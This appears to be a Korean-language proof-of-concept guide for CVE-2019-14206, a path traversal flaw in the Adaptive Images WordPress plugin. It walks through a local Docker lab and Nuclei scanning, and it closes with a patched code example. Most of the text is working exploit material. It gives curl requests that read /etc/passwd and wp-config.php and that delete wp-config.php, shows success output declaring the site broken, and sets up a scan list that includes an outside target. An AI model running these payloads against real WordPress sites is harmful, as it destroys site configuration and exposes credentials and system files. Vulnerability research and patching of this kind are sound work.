// 플러그인이 사용자 입력을 검증하지 않음
$settings = $_REQUEST['adaptive-images-settings'];

// 공격자가 제어하는 매개변수로 파일 경로 구성
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// 임의 파일 삭제
unlink($cache_file);

# Nuclei 확인
nuclei --version

# Bash 확인
bash --version

# curl 확인
curl --version

# PHP 확인 (선택 사항)
php --version 2>/dev/null || echo "PHP를 사용할 수 없습니다 (선택 사항)"

# nuclei-templates 디렉토리인 경우
cd /Volumes/Codingsh/experimentos/nuclei-templates

# 또는 필요한 파일 다운로드
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

# 파일 존재 확인
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# Docker가 실행 중인 경우
docker-compose up -d

# Docker가 실행 중이 아닌 경우, 시뮬레이터 사용
./docker-test-full.sh

# 환경은 다음에서 사용 가능
# http://localhost:8888

# 취약한 스크립트 존재 확인
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

# LFI 테스트
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# 파일 삭제 테스트
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# wp-config.php 삭제 확인
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

# 대상 파일 생성
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

# 기본 스캔
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# 상세 스캔
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# 디버그 스캔 (바운티에 필수)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# 결과 저장
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

# 결과 보기
cat results.txt

# 양성 결과 형식:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

# /etc/passwd 읽기 시도
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# wp-config.php 읽기 시도
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

# 삭제 전 wp-config.php 존재 확인
ls -la wp-config.php

# 익스플로잇 실행
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# 삭제 후 wp-config.php 확인
ls -la wp-config.php

[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible

[N/A] No results found

# Docker 환경 제거
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null

# 테스트 파일 제거
rm -rf docker-test/
rm -f targets.txt results.txt

# 삭제된 wp-config.php 복원 (필요시)
cat > wp-config.php << 'EOF'
<?php
// 복원된 파일
define('DB_NAME', 'wordpress');
EOF

# 스캔 결과 제거
rm -f results.txt

# 캐시 정리 (선택 사항)
nuclei -rm-cache

# Nuclei 설치
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# 또는 바이너리 다운로드
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/

# 파일 존재 확인
ls -la http/cves/2019/CVE-2019-14206.yaml

# YAML 구문 확인
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"

# 절대 경로 사용
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target

# 포트 확인
lsof -i :8888

# 다른 포트 사용
php -S localhost:9999

# PHP 설치 확인
which php
php --version

# Docker 상태 확인
docker ps

# Docker 시작
# macOS: Docker Desktop 열기
# Linux: sudo systemctl start docker

# 시뮬레이터 모드 사용 (Docker 불필요)
./docker-test-full.sh

// ✅ 안전한 코드 (수정 예시)
function adaptive_images_script_get_settings() {
    // 입력 검증
    $allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
    $settings = [];
    
    foreach ($allowed_keys as $key) {
        if (isset($_REQUEST['adaptive-images-settings'][$key])) {
            $settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
        }
    }
    
    return $settings;
}

function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
    // 경로 검증
    $allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
    $cache_dir = basename(dirname($cache_file));
    
    if (!in_array($cache_dir, $allowed_cache_dirs)) {
        return false; // 잘못된 경로 거부
    }
    
    // 검증된 절대 경로 사용
    $cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
    
    if (file_exists($cache_file)) {
        unlink($cache_file);
    }
}